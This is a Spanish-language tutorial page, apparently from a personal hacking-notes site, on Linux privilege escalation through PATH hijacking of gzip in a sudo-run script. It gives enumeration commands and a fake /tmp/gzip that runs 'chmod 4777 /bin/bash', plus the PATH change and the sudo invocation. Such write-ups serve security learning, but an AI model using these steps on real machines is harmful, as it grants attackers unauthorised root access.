> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/path-hijacking/path-hijacking-gzip-linux-privilege-escalation.md).

# Secuestro de PATH (gzip) - Escalada de privilegios en Linux

## Qué es

El secuestro de PATH abusa de programas o scripts privilegiados que llaman a comandos sin rutas absolutas. Si el atacante controla un directorio situado antes en `PATH`, el proceso privilegiado puede ejecutar el binario del atacante. Esta página específica se centra en **Secuestro de PATH (gzip)** y mantiene práctico el flujo de explotación: identificar la condición, validarla de forma segura y luego ejecutar la carga útil mínima necesaria para demostrar el impacto.

## Enumeración

Comienza confirmando el contexto local y la configuración incorrecta exacta antes de ejecutar la ruta de explotación.

```bash
echo $PATH
strings <binary> | head
ltrace <binary> 2>/dev/null
```

## Ejemplos

### **Desvío de PATH (gzip)**

Enumeramos los permisos sudo:

```bash
sudo -l
```

Encontramos un script ejecutable como root usando `gzip` sin ruta absoluta.

<figure><img src="/files/551eb863bd18b9c3735ac783772822fb946598b6" alt=""><figcaption></figcaption></figure>

#### **Crear un binario malicioso**

Creamos un malicioso `gzip` archivo en `/tmp/`:

```bash
chmod 4777 /bin/bash
```

Modificamos la variable `PATH` para priorizar `/tmp/`:

```bash
export PATH=/tmp/:$PATH
```

<figure><img src="/files/d2641b0057e6abe6dc68bf1241512db9e8ac3306" alt=""><figcaption></figcaption></figure>

Ejecutamos el script como root:

```bash
sudo /opt/scripts/access_backup.sh
```

<figure><img src="/files/abccac97aabab5240951c8ed969636cfe39beaec" alt=""><figcaption></figcaption></figure>


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